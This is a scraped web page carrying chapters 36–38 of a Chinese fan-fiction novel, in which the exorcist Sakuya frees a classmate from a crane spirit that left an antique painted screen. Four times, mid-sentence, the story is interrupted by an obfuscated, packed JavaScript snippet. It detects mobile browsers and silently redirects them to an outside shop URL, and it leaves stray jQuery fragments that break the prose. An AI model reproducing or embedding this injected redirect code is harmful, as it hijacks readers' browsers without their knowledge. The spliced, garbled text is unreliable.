先是第一次失败,然后两次、三次……多米洛骨牌倒下,她在父母沉重的期待里溃不成军。 往日的关爱和自豪逐渐淡去,失望一层一层叠加在父母的眼中,让她不敢与之对视。 “无论我怎样努力,都无法达到要求……无论我怎么学习,成绩总是毫无起色,就连绘画的灵感也越来越少,有一天,我甚至害怕拿起画笔……” 秋山第一次对上朔也的视线,她质问一般地问道:“为什么我不能成为像你一样完美的人?做什么都毫不费力,却总是做得很好,所有人都赞赏你、喜欢你!” 在朔也平静的注视中,秋山低下头,羞愧地捂住已经被泪水彻底打湿的脸。 “爸爸妈妈为了让我能去更好的学校,不断搬家,为了找到愿意指导我的艺术家,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823270|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至愿意卑微地下跪祈求……” 秋山哽咽着,痛苦地质问着。 “为什么……为什么神明不能给他们一个完美的女儿!” 看着秋山情绪越来越激动,朔也走近了些,却没有说话,他直觉地认为,这样的倾诉对一直压抑自己的秋山来说反而是一件好事。 “为什么偏偏是我,是我这样无用的人……” 秋山突然嚎啕大哭起来,痛苦和无助冲破压抑的阀门,宣泄在哭声里。 朔也看着秋山即使痛哭着也依然过于苍白的脸,微微皱起眉头。 “秋山同学,你……” 他眼疾手快地接住突然倒下的女孩,意识到事情变得更麻烦起来。 * 这还是的场静司高中毕业后第一次回来母校,之前朔也开学时,出席开学典礼的是朔也的父亲铃木先生。 其实在小学和初中,凡是需要家长出席的场合,都是铃木先生出席的。 虽然校方也会将学校的事情同步给七濑桑,但这更像是给隐形监护方兼校董的特别关照。 但这次,学校直接将电话打给了的场静司,他猜这应该是朔也的意思。 果然,通话结束后没多久,朔也就给他发来信息解释了原委。 这对的场静司来说,当然是一种非常特别的体验。 朔也大概会觉得给他添了麻烦,但实际上,的场静司对朔也身上发生的所有必须由他来解决的事情都很乐在其中。 唯一遗憾的是这样的事情越来越少了,所以当下这件事着实让人珍惜。 的场静司走近学校会客室的时候,朔也正端正地坐在沙发上发呆。 他打量了朔也一眼,确信对方完好无损,这才露出微笑,和等候的井上老师打了招呼。 井上老师简单地介绍了现在的情况,带着歉意说道:“铃木同学已经解释过当时的情形,保健老师也认为秋山同学没有大碍,我们都很信任铃木同学。” “不过因为秋山同学还未苏醒,我们只能按照学校的流程,请双方的家长过来商谈。劳烦您过来,实在不好意思!” 的场静司点点头,“那么,朔也需要在这里待多久?” 井上老师尴尬地看了看墙上的挂钟,笑着解释道:“秋山同学的母亲正在赶来的路上,烦请您和铃木同学再稍等片刻。” 的场静司了然,而后说道:“我想和朔也单独待一会儿,可以吗?” “当然!请便。”老师点点头便出去了。 的场静司坐到朔也身边,看着少年闷闷不乐的表情轻笑了一声。 “第一次看到这么委屈的朔也呢。” “静司先生。”朔也无精打采地抬眼看了他一眼,低声说道:“对不起,是我太急躁了。” 的场静司点点头,“确实着急了些。”他笑着说道:“如果急着救那个女孩会让你陷入这种被人误解的局面的话,我觉得再慢一点也没什么。” 朔也抬头看向他,有些惊讶。 “觉得这样的话很冷酷吗?”的场静司问了一句。 朔也摇摇头,“我知道,静司先生是担心我。” 的场静司满意地微笑着,转而说起另一件事。 那是的场一门的某个除妖师一个月前接到的委托,说起来,那位除妖师朔也也认识,是曾经一起合作过的佐野先生。 委托佐野先生的是本地一个小有名望的家族,那个家族因为前一任当家是艺术品收藏家,家里积累了许多作品。 那位当家认为好的艺术品应当让更多的人欣赏到,于是开设了一家私人艺术馆,用以展出毕生藏品。 在这个私人艺术馆中,有一扇从安土桃山时代流传下来的屏风,屏风上是某位狩野派传承者绘制的白鹤花鸟图,非常珍贵。 但就在一个月前,某天展出结束后,工作人员发现屏风上描绘的白鹤竟然消失了。 最初他们怀疑是有盗贼趁人不备替换了屏风,但经过鉴定,那个屏风确实是流传已久的古物。 于是,那个家族向除妖师发出了委托,希望能找回消失的白鹤,让屏风恢复如初。 朔也若有所思,“这件事和秋山同学有关联吗?” “佐野桑调查了白鹤消失那天的参观者名单,秋山同学正是其中一员。” 朔也睁大眼睛,正准备说什么,会客室的门突然被敲响,接着刚才的老师领着一位神情严肃的女士走了进来。 36.第三十六章 秋山 * 秋山夫人看上去是个严肃且挑剔的人,两道法令纹让她显得有些刻薄,双方打招呼时她的举止也透着些许骄矜。 针对当下的情况,井上老师刚解释了几句,秋山夫人就打断他的话,斩钉截铁地说道:“我女儿很优秀,一直专注于绘画和学业,是绝不会单独和哪个男同学相处的!” 井上老师被噎了一下,尴尬地笑道:“铃木同学也非常优秀,而且乐于助人,这次应该是为了帮助秋山同学……” “我们每年都会给小紬安排最好的健康检查,她很健康,绝不会无缘无故地晕倒。” 秋山夫人的眉皱成了山字形,法令纹变得更深,她瞥了对面的朔也一眼,压抑着怒气说道:“现在有些男孩,仗着容貌不错就随意诱骗优秀的女孩,不过是想满足虚荣心,丝毫不会顾及女孩的前途,实在可恶!” 在这种情况下说出这种话当然很过分,一旁的井上老师看了一眼的场静司的脸色,只觉得十分难熬。 他努力保持笑容,打着圆场说道:“秋山夫人您说笑了,在我们这样的学校,是绝对不会允许这样的情况发生的!更何况铃木同学一直品学兼优,是一年级的优秀学生代表,定然不会发生那种让您担忧的事情!” 秋山夫人冷哼一声,“这也证明不了什么。” 井上老师的表情彻底僵住了,他求助似的看向从刚才开始就一脸冷淡的的场静司。 “井上老师,您带这位夫人去看望过秋山同学了吗?” “是的!”老师连忙解释道:“秋山同学有些疲惫,保健老师建议让她再休息一会儿。” 的场静司这才看向秋山夫人,拿出一张名片放在茶桌上,手指按住考究的黑色纸张推了过去。 “的场家有合作的私人医院,秋山同学可以去这里做免费的全面检查。” 的场静司倨傲的举止和刚刚秋山夫人的那些话相比,在冒犯程度上显然更胜一筹。 秋山夫人瞬间涨红了脸,她似乎想继续口出恶言,但又对如此做派的的场静司颇为忌惮,整个人僵坐着。 “井上老师,可以让我们和秋山夫人单独沟通吗?” “呃……”一般这种情形,老师在场更好,但想起刚刚的情况,井上老师不觉得自己能发挥什么作用,于是他看向另一位家长,“秋山夫人,您觉得可以吗?” 秋山夫人冷着脸点了点头。 “好的,我就在门外,有需要可随时叫我。” 井上老师迫不及待地出去了。 的场静司看向对面的女士,微微牵动嘴角,“秋山夫人,和之前那个平庸的女儿相比,最近开始变得优秀的女儿一定更得你的欢心吧。” 朔也瞪大眼睛看向一旁的青年,他知道静司先生有些毒舌,但第一次看到他这么毫不留情面地‘攻击’他人。 被攻击的秋山夫人只会比朔也更震惊,她惊呼道:“你在胡说什么?!” “自己的女儿都快被来路不明的东西‘替换’了,身为母亲的你竟然直到现在还装作毫不知情,是该说你有着某一类父母独有的精明,还是该说你伪善呢?” 秋山夫人猛地站起身,看向的场静司的视线几乎可以淬出火来,“简直胡言乱语!我根本不知道你在说什么!” 的场静司惬意地坐在沙发上,姿态松弛随性,说话也显得漫不经心。 “所以,哪怕那个自己亲手养大的女儿即将死去,你也不在乎?” 的场静司迎着秋山夫人盛满怒火的视线,似笑非笑地感叹道:“看来,只要家里还有一个优秀的、可以为自己争光的存在,是不是自己的女儿,也没那么重要。” 秋山夫人紧紧咬着牙关,不知道是出于愤怒或恐惧,又或者其他什么情绪,她猛地站起身,色厉内荏地说道:“太无礼了!我和满嘴胡话的无赖没什么好谈的,以后让这个孩子离我女儿远一点!” 高跟鞋的声音略显慌张地走远,门被打开然后“哐”地一声关上。 朔也呆了几秒才反应过来,本能地看向的场静司。 西装革履的青年冲他微微一笑,“抱歉,我太生气了。” “呃,这样的话……那怎么办?”朔也被刚刚火药味十足的场景冲击的有些混乱。 但还没等的场静司做出回应,他突然站起身跑了出去。 “静司先生,我去和她说几句话!” 门再次被匆匆带上,的场静司无奈地笑了笑,表情逐渐恢复成冷淡的模样。 他很生气,甚至因此觉得这次朔也的同班生异常事件变得没完没了起来。 他已经很久没像此刻一样,这么没耐心了。 * 朔也在楼梯口叫住了怒火未消的秋山夫人,在对方厌烦的表情里认真地说道:“秋山同学知道自己在做什么,她想献祭自己,换给你们一个更完美的女儿。” “秋山夫人,您真的希望有一个完美的但是并不爱你们的女儿吗?” 秋山夫人没有说话,朔也也不想听她说什么,自顾自地说道:“不管您怎么想,我都会继续帮助秋山同学,她很好,就算不像你们期望的那么完美,她依然有按照自己原本的样子活下去的权力,那不是你们能剥夺的。” 朔也头也不回地转身离开,他决定,就算用绑的,也得把秋山紬绑到除妖的符阵里! * 看着朔也气冲冲地回到会客室,倒是让的场静司很惊讶,他好奇地问道:“怎么了?吵架输了?” 朔也顿时哭笑不得,“怎么可能吵架啊?况且秋山夫人一句话都没来得及说,我就跑了。” 他把自己给同学妈妈放的狠话又重复了一遍,的场静司这次真心实意地笑了起来。 “那接下来,你想怎么做呢?” “等秋山同学身体好些吧。”朔也想了想,说道:“我想让她去的场本宅,我们在那边设置一间压制妖力的房间,然后驱逐。” “你知道那个女孩的祈愿了?” “没有,不过我相信秋山同学会告诉我的。”朔也信心满满地说道。 的场静司看着少年笑了笑,站起身,问道:“想去看看那扇屏风吗?” “嗯!” * 秋山在校内晕倒的事情,因为双方家长都没有提出异议,于是被校方默认为是普通的事件,就这样结束了。 秋山在家里休息两天后就回到了学校,朔也这次没有再给她写便签,而是在美术社社活结束后,直截了当地问她要不要解决掉身上的麻烦。 “可是……铃木同学,其实,我感觉它并不坏……”秋山纠结地说道:“它没有强迫我做什么,反而总是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827518|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在我觉得痛苦的时候帮助我……” 朔也没有和她解释妖怪的狡诈善变,只是说道:“但这并不意味着它没有伤害你的能力,一直待在你的身体里,对它来说也不一定是好事。” 想了想,朔也还是解释道:“你是在那家私人艺术馆遇见它的吧?因为涉及到很贵重的东西,艺术馆那边正在焦急地寻找它。” 这个解释显然让秋山打消了顾虑,她点点头,“好吧,那我应该怎么做呢?” “可以告诉我你和它的约定是什么吗?越详细越好。” 秋山愣了一下,突然尴尬起来,支支吾吾地说道:“其实我们的约定很简单……” 她说了一句话,朔也暗暗松了口气,递给她一张写着地址的纸条,“周末的时候到这里来吧,我会提前准备好需要的东西。” 秋山接过纸条,很是忐忑,但更多的是让一切回归正轨的渴望。 “谢谢你,铃木同学。” “等我们解决完你的麻烦再谢吧。”朔也不在意地摆摆手,大步走开,“那周末再见了。” “……周末见。” 秋山看着少年远去的背影,感觉仿徨不定的内心好像变得稳固了一些。 * 经过这几年的学习,朔也在术法上已经非常精通,即便这次退治妖怪情况有些复杂,但他依然对自己很有信心,更何况还有静司先生和承接了私人艺术馆委托的佐野先生帮忙。 周末,秋山如约而至,出乎朔也意料的是,秋山夫妇也陪着她一起来了。 秋山夫人的态度和上次相比转变了许多,礼数非常周到,秋山先生看上去倒是个特别和善的人,只是那份和善总带着些谄媚。 的场静司没有出面,只交代了其他同门招待秋山夫妇,他们不能参与后续的事情,只能在会客室里等待结果。 朔也带着秋山去早已准备好的房间,他看了看紧张又拘谨的女孩,宽慰道:“别担心,不会花太多时间,也没有你想的那么可怕。” 秋山点点头,本能地往朔也的方向靠近了些。 她曾听其他同学议论过铃木同学的事情,据说他常年寄居在某位校董家里,因为曾经发生过严重的意外,有段时间身体很虚弱,所以那家人对他管束非常严格,几乎不让他去学校以外的地方。 但走在这座威严的大宅内,看着那些穿着黑色和服的人冲朔也或亲切或尊敬地打招呼,秋山意识到同学们的传言显然有误。 这样的情形,加上他们即将要做的事情,都让铃木同学显得更神秘起来。 “秋山同学,这个房间设置了结界,在退治仪式开始后,你可能会觉得不舒服,或者产生一些幻觉。” 朔也站在门口耐心地叮嘱道:“但无论你看到什么、听到什么,那些都不是真的,如果你实在害怕,就叫我的名字,记住了吗?” 秋山深吸一口气,鼓起勇气点了点头,然后跟着朔也走进房间。 这是一间空旷的和室,四周张贴着一切秋山看不懂的符纸,地上也摆了一些符纸,此外还有两位同样穿着黑色和服的男性,正安静地站在一边,氛围有些冷肃。 朔也冲的场静司和佐野先生打过招呼,又检查了一遍符阵,指引秋山走到符阵中央,他和忐忑的女孩对视一眼,安抚地笑道:“那么,开始吧。” 37.第三十七章 白鹤 * 「游形窥影,请映出不可见之物,真容具现!」 朔也念出真言,一层薄纱一般的雾感浮现在符阵中,慢慢凝聚成纤长的鸟型。 看来这个东西多半是消失在屏风中的白鹤,朔也思忖着,问道:“就是你和秋山紬缔结了契约?” 薄薄的云烟微微涌动,白鹤形的鸟缓缓点了点头。 “你们的契约并未成立,你也没有留下的理由,回到你原本所在之处吧。” 云鸟点了点头,又摇了摇头。 “你不愿意离开?”朔也皱眉。 云鸟再次摇摇头。 所以这到底是愿意还是不愿意呢? 朔也想了想,终于觉察到异样,“你不会说话?” 就连妖怪的语言都不会说,但又有清晰的意识,难不成还是一只哑巴妖怪? “铃木,朔也。” 站在符阵中的秋山紬突然说出了朔也的名字。 朔也对上她的视线,顿时发现此刻占据着女孩身体的并不是秋山自己的意识。 “你想做什么?”朔也防备地问道。 秋山静静地看着朔也,慢慢向着朔也伸出双手。 朔也没有察觉到恶意,他看向一旁的的场静司,对方冲他点点头。 于是朔也不再犹豫,他伸出双手,和秋山的手握在一起。 眨眼之间,朔也便身处一片缥缈的云烟之中,脚下传来溪水流动的声音,他低头,发现如水般的质感已经淹没了脚踝。 「抱歉,除妖师,只有这样我才能与你对谈。」 一只白鹤从云烟之中走出,它看着朔也,像人类行礼一般低了低头。 “那你现在可以告诉我了,你可以离开秋山吗?” 「我想离开,但这孩子已经让我无法离开了。」 “为什么?”朔也怀疑地打量着它,“她向你许下的祈愿是让她变得完美,你应该知道,这样的祈愿无论你做什么,都是无法达成的。” 「我知道。」白鹤点点头,「我没有和她缔结契约,只是她那样以为。」 朔也双手环胸,眼神不善,“你从一开始就在欺骗她?到底想干什么?” 「我想帮她,像帮我的主人那样。」 白鹤突然煽动翅膀,云烟顿时稠密得如同云朵。 朔也警惕地后退一步,却发现自己已到了另一个场景里。 * 这里是一座典型的日式庭院,一只白鹤正在庭院里散步。 “庆云狩,你今天也很悠闲呢,真羡慕啊!” 说话的是站在外廊上的青年,他看着白鹤,很是喜爱。 白鹤很快便走到青年身边,看着对方在外廊边上放下新鲜的荸荠,满意地吃起来。 “庆云狩,你想去京都吗?” 青年一边给白鹤喂食,一边憧憬地说道:“据说本家的人现在正在聚乐第侍奉关白大人,真了不起啊!如果这次能被本家选中,我就可以去京都了,父亲大人一定会为我骄傲的!” 白鹤抬头看了看他,用喙亲昵地顶了顶他的手。 青年赶紧把袋子里的荸荠都倒了出来,摸了摸白鹤的羽毛,笑道:“白鹤是吉祥的灵鸟呢,请庆云狩赐我吉兆吧,如果被选中,我就带你一同去京都!” 随着白鹤清亮的鸣叫,画面转换,这次是在杂乱的和室里,青年正趴在地上,给铺在地板上的屏风专心绘画,精美的花鸟渐渐跃然纸上。 画面再次转换,则是青年带着白鹤驾车远行的场景。 朔也作为旁观者,突然隐隐预感到了这位青年未来的遭遇。 青年到了京都,顺利成为了本家的画师,他的画受到当家的赞扬,一时间风头无量,就连关白大人听闻后,也给他赐下了赏赐。 然而,这样的起点却并未点亮顺遂的人生。 随着岁月流逝,青年的灵气在日复一日的绘画中渐渐凋零。 从青年到中年,他的画技愈发娴熟,但不知为何,完成的画作却越来越平庸,甚至到了连新加入的年轻画师都能随意点评的地步。 数十年如一日不敢放下画笔半刻,这样的勤奋辛劳并未换得丝毫寸进,曾经的年轻人在一次次的否定和讥讽中变成了落魄的画匠。 他开始怀疑自己,然后渐渐笃信自己不过是一个痴心妄想的庸才,最后,他疯狂地诅咒起那曾昙花一现的天赋。 “那不是天赋……那是狩野家的诅咒!!” “庆云狩,你给我的从来不是吉兆……对,大凶之兆、大凶之兆啊!!!” 终于,他疯了。 在疯了之后,他将自己关在房间里,不让任何人进入,自己却日夜不眠地画起了屏风。 来给他送餐食的仆人敲不开门,只能听见他在房中反复说着种种诡异臆语,有时甚至发出可怖的嘶吼和哭嚎声。 “他已经彻底疯了,这样下去可不行。” “尽快将他移出本家吧,以免惹怒当家。” 就在其他同门考虑如何善后时,一个夜里,画师所在的屋子燃起了熊熊大火。 人们扑灭大火后,发现了画师和白鹤被烧毁得几乎无法辨认的尸骨,而就在这个本该一切都被焚烧殆尽的地方,一副完好无损的屏风安稳地坐落在灰烬中。 所有看见这座屏风的人都被震慑了,不只是因为它诡异地在大火中幸存,更因屏风上的画作本身。 落魄的画师不知从何处弄来这么多金箔和昂贵的颜料,又不知从哪处得来的惊人灵感,竟绘制出这样一幅豪壮雄浑又华丽到处处透着诡异肃杀的花鸟巨作。 这样一幅来路离奇、具有传奇性的摄人之作,即使无比诡异,即使有着不详的气息,也令人不由自主地迷恋。 画师和他的爱宠白鹤被草草安葬,而他用生命做祭品换来的画作却被当权者轮番争夺,不知这样的结局画师是否满意呢? 这座屏风在漫长的岁月中四处辗转,最后终于流落到一处私人艺术馆。 一个午后,濒临崩溃的少女走进了这里,来到屏风前,长期学画的少女被屏风画作所震慑,她在每一处线条里、每一处颜色中都感受到自己可能永远难以达成的完美。 于是她情不自禁地喃喃自语。 “如果平庸的我能拥有这样的天赋该多好啊!” “真美啊……据说白鹤代表吉兆,我今天看到这个,是不是正是一种吉兆呢?” “若你真是灵鸟,就帮帮我吧!求求你……” “让我变得完美吧!” * 浓稠的白云有变回了之前朦胧的云烟,朔也再次回到最初的幻境里。 他看着白鹤沉默了一会儿,说道:“你帮你的主人留下了画作,但你帮不了秋山紬,就像你也帮不了你的主人一样。” 白鹤默默看着朔也。 「我,无法拒绝。」 他陪伴了主人一生,主人被困在了命运里,它也同样如此。 它无法不去救主人,无法不去救那幅画,也无法不去救和主人有着一样渴求的少女。 朔也暗暗叹了一口气,问道:“你为什么不能离开?” 「我被她吞噬了一部分,所以困在了这具躯壳里。」 朔也吓了一跳,很是惊诧,“你,一个妖怪,被人类吞噬了?!” 白鹤点点头,云烟彻底散去,显露出它身后的样子。 巨大的少女面具伸出如菌丝般的‘触角’,附着在白鹤身上,相连之处渐渐融为一体。 朔也瞪大眼睛,不可置信,“这不是一般人能做到的……” 「她有着非常强大的执念,像主人一样,也许正是这一点让我迷失在这里。」 “这样诡异的事情……”朔也皱起眉。 「我知道解决这种情况的办法,但需要除妖师的帮助。」 朔也怀疑地盯着白鹤。 这个妖怪不会在故意欺骗他,好借他的手彻底把秋山吞噬掉吧? 「除妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833273|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师,请祓除我吧。」 “……” 朔也没吭声,白鹤的要求实在太不合常理。 但他的直觉又告诉他,这个奇怪的妖怪似乎是真的在求死。 「请祓除我吧,如果这孩子继续吞噬我,她会逐渐转变为半妖。」 朔也皱着眉定定地看着白鹤,突然问道:“你是故意在学校里放出妖气的吧?”因为察觉到学校的结界,所以故意释放妖气,吸引他介入其中。 白鹤没有辩驳,只是显得非常哀伤。 「我的主人,他将自己献祭给了无法实现的执念……」 如果没有发生那么可怕的事,主人即使落魄,也依然可以继续做画师,哪怕之后不得不离开本家,主人也可以回到乡下,安然度过余生。 人类的生命何其短暂,但因为那个错误的选择,就连那么短暂的时间,主人也错失了。 正吞噬着自己的人类少女,是否也正走在错误的道路上呢? 意识到这一点时,庆云狩发现自己的执念早已没有了存在的意义。 追随主人而去,才是它真正想抵达的归宿。 「除妖师,在这孩子无法回头之前,请祓除我吧。」 “你知道祓除意味着什么吧?你会甘心?”朔也蹙眉问道。 白鹤微微动了动翅膀。 「我离开主人太久了……」 「多么漫长的时间啊,仿佛没有尽头……」 「无论我如何等待,主人都不会来了。」 云烟一般的水珠从白鹤的眼中落下,它深深低下头去。 「除妖师,请让我和主人一样,彻底离开吧。」 * 朔也猛地睁开眼睛,退后一步,抽回双手。 的场静司抬手扶住他的肩膀,“怎么了?” 朔也定定地看着站在符阵中已经阖上双眼的秋山,过了好一会儿,才在的场静司的追问下低声说道:“这个妖怪要我祓除它。” 他讲了妖怪现在的情况,困扰地问道:“静司先生,还有其他办法吗?” “如果它的灵和人类的灵真的融合到了一起,哪怕只有极少的一部分,两个灵也只能被看做一个整体。” 的场静司思忖道:“要想重新‘切开’它们是不可能的,要么放任它们彻底融合,要么,就是在彻底融合前祓除其中一方……更准确地说,是净化。” 朔也没吭声,只是眉头紧紧地皱在一起。 “它既然清楚这一点,并主动要求被祓除,说明这是它的选择。” 的场静司的语气很是淡漠,他看向朔也说道:“我来祓除吧。” 朔也摇了摇头,“还是我来吧。” “确定吗?” 朔也依然皱着眉,但语气坚定。 “我明白的,静司先生。” 的场静司没再坚持,只是轻轻摸了摸朔也的头。 * 祓除的符阵只需在原有的符阵基础上稍作改动就行,很快一切就绪。 朔也看着符阵中一无所知的少女,闭上眼,而后睁开。 他不再犹豫,举起符咒,念诵真言。 「庆云狩,听令!」 「风露为涤,破执除妄。」 「前行皎然,万障消弭。」 「请听从吾之指引,净!」 符阵发出莹莹的光,淡淡的云烟显现,勾勒出白鹤浅淡的轮廓,它冲朔也鞠了一躬,展翅飞起,然后盘旋着化为点点光粒,消失在空气中。 「谢谢你,除妖师。」 符阵很快归于沉寂,秋山晕倒在符阵中。 朔也站在原地,静静地看着白鹤刚刚消失的地方,他从来没想过,自己竟然有一天会因为祓除一只妖怪而难过。 的场静司走到朔也身边,揽住他的肩膀。 “都结束了,朔也。” 的场静司想,这次的事情他应该一开始就全权接手。 放任朔也的后果,让他难以忍受。 38.第三十八章 画像 * 祓除仪式非常成功,秋山除了觉得疲惫外没什么大碍,于是一家人道谢后很快离开了。 秋山夫妇明显提前仔细地打听过,临走前留下了过于丰厚的酬金。 朔也猜测这里面也带着些赔罪的意思,毕竟上次在学校的“谈话”可是让静司先生暗暗不快了许久,否则今天也不至于连人都懒得见。 朔也做这件事当然不是为了酬金,他原本想的是私下解决秋山的事情,不涉及的场家,纯属于他的个人行为。 但秋山父母一同过来,这就是对的场家的正式拜访了,不收取酬金反而惹人议论。 还好那位秋山先生十分圆滑,免了事后的尴尬。 “对除妖师来说,和人打交道有时候比对妖怪更麻烦哎。” 突然听见朔也这么感叹,的场静司笑道:“朔也是想说人类比妖怪更虚伪吗?” 朔也看了他一眼,“静司先生对人类有点‘苛刻’了。” “哦呀,怎么说呢?”的场静司笑眯眯的。 两人此刻正坐在外廊下一边欣赏庭院一边享受着难得的闲暇。 朔也拿起一块点心慢慢吃着,过了一会儿才说道:“站在人类和妖怪中间的位置,很难不将两者进行比较,虽然因为自身的立场更能体谅人类,但失望肯定也会更多。” “这样不知不觉地……”朔也看着高远的天空,嚼了嚼点心,“对人的期待就变高了。” 的场静司悠闲地喝了口茶,赞同地点点头。 “所以要让静司先生喜欢上,应该很难吧。” “噗——” 的场静司那一口茶还没咽下去就都贡献给了外廊下的花花草草。 朔也惊诧地看过去,“怎么了?” 的场静司捂着嘴咳了好几声才缓过神,他幽幽地看向困惑的朔也。 “刚刚有人说了很过分的话哦~” 朔也回想了一秒,下意识地辩驳道:“哪有啊!这很过分吗?” 他本来还因为对方的反应感到有些心虚,但细想了一圈,又渐渐变得理直气壮起来。 “本来就是这样,出了的场家,静司先生也只喜欢名取先生吧!” “朔也……”的场静司哭笑不得,“‘喜欢’可不是用在这种地方的。” “好吧。”朔也撇撇嘴,“总之,就是那个意思!我觉得这也没什么不好的,越是纯粹的心才越难被打动呢。” 的场静司转头看向朔也,少年的脸颊被刚刚塞进去的点心顶起一个柔软的弧度,十分可爱。 “这么说的话,那朔也岂不是和我一样,很难被打动?” 朔也愣了一下,“我还好吧,我对人的期待又不高。” 的场静司露出纵容的微笑。 “还是高点更好哦。” 如果随便什么家伙都能打动的话,那真是足够让人苦恼呢。 * 关于私人艺术馆的那座屏风,佐野先生不久后给朔也传来了消息,原本消失的白鹤果然回到了原有的位置。 只是,明明一切都和原来一样,不少人却觉得现在的屏风好像缺了点什么。 大概是庆云狩的离去,带走了那位画师残留在作品中的最后一点执念吧。 此外,秋山紬的生活也回归了正轨。 她画回了油画,好像已经突破了一些瓶颈,进步很大,据说最近的画作备受监督老师的赞赏。 在朔也去美术社取之前做的猫咪陶俑时,秋山将那副朔也的半身画像送给了他。 “诶?就这么送给我,没关系吗?”朔也看着已经包裹好的画框问道。 “嗯!”秋山点点头,她的气色比之前好了许多,神色也更开朗。 “铃木同学眼中的‘我’,对我来说非常重要,我不知道如何感谢你,就让这幅《我眼中的你》作为答谢的礼物吧!” 朔也想了想,还是收了下来,“谢谢秋山同学。” 看着朔也接过画框,秋山斟酌许久,迟疑地问道:“铃木同学,它……回去了吗?” 女孩纠结的神情让朔也瞬间明白了她说的是什么。 “嗯。”朔也平静地点了点头。 “啊,那就好!”秋山松了口气,微笑起来。 在祓除庆云狩之后,朔也曾想过一个问题。 如果秋山知道自己正在吞噬白鹤,并可以因此得到更多力量和天赋,代价是转变为半妖,她会如何选择呢? 正如朔也对的场静司说的那样,他对他人的期待并不高,女孩的执念如此深重,她会如何选择,朔也心中已有定论。 而坚定的斩断这些容易动摇人心的诱惑与选择,正是他作为除妖师的意义。 * 的场静司路过朔也的房间时,朔也正在做作业,八咫站在台灯上当监工。 “哦呀,这是什么?” 的场静司的视线落在包裹着的画框上,很是好奇。 “静司先生,你回来啦。” 朔也赶紧在书包里翻找了一会儿,拿出个手掌大小的东西递给的场静司。 这是一只胖乎乎的猫咪陶俑,涂染着温暖的橘白花色。 “呃,这个是我在美术社的手工作品。”朔也有些羞赧地挠了挠脸颊,“静司先生很喜欢猫吧?我第一次做陶俑,有些地方可能会……” “朔也对他人期待不高,对自己倒是要求过高了。” 的场静司细细地抚摸着可爱的陶俑,看向朔也,温柔地说道:“这样的朔也要打动我,简直易如反掌嘛~” 朔也愣了一会儿,反应过来之后,脸顿时变得通红。 “每次都这样!静司先生收敛一点啊!” “啊,抱歉~抱歉~” 的场静司像之前的每一次一样,笑眯眯地道了歉,而后迅速转移话题。 “所以,这个又是什么呢?看上去像是画框?” “嗯,是秋山的画。” “哦呀,是谢礼么?”的场静司更好奇了,“你看过了吗?画的什么?” “唔……” 朔也总觉得让的场静司看到那副画像会很尴尬,毕竟画像和他本人有些区别,但对方此刻正饶有兴致地看着他,无形的压力让他很难撒谎。 朔也移开视线,无奈地说道:“是一幅我的画像。” 果然,的场静司更显得兴致勃勃起来,“我可以看吗?” 朔也暗暗叹了口气,妥协地拿出剪刀开始拆包装。 期间一个淡蓝色的信封从包装里掉了出来,朔也看了一眼,将它放到一边。 的场静司挑了挑眉,没说话。 然后紧接着,他就被显露出来的画作吸引了全部的注意力。 朔也收拾好包装残余,又将蓝色信封放到存放信件的收纳箱里,事情已经结束,这封信他不会再拆开了。 等朔也忙完一圈,才意识到房间里的另一个人一直没有说话,他奇怪地看了一眼站在画像前的的场静司,走过去和对方并肩,看向那副他已经看过的画像。 之前朔也还莫名觉得有些羞耻,但真的看到画像本身,心里反而平静起来。 “这个要是挂在房间里会不会很奇怪呢?”看了一会儿,朔也突然问道。 的场静司看向他,“你不喜欢吗?” “呃,不是,就是觉得在自己的房间里挂这个显得很自恋。” 的场静司轻笑出声,“那朔也把这幅画像给我吧。” “诶?” “可以挂在我的房间哦。” “哈?!不要!”朔也吓了一跳,坚定地说道:“还是挂在我的房间吧!” 的场静司遗憾地叹了口气,“真的不行吗?” 朔也更坚定地摇头,“不行!” 的场静司再次看向画像,叹道:“好吧……” “这没什么好遗憾的啦!” 生怕对方再提出什么可怕的建议,朔也索性推着的场静司向外走去。 “好了,我要写作业了,静司先生也去忙吧!” 等成功地关上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 